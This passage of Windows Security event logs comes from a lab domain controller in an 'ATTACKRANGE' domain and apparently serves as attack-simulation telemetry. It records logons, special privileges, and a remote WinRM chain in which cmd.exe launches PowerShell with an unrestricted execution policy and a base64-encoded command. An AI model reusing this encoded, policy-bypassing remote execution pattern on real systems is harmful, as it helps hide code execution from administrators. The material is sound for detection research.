JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248004 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F5140 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248003 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F5140 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248002 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248001 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248000 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4CB4 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb04 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247999 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4CB4 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb04 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xbb4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247998 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4F19 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247997 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4F19 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247996 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247995 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247994 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4CB4 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xbb4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247993 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4CB4 - -Process Information: - New Process ID: 0xbb4 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247992 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4CB4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247991 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4CB4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247990 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247989 -Keywords=Audit Success -Message=The computer attempted to 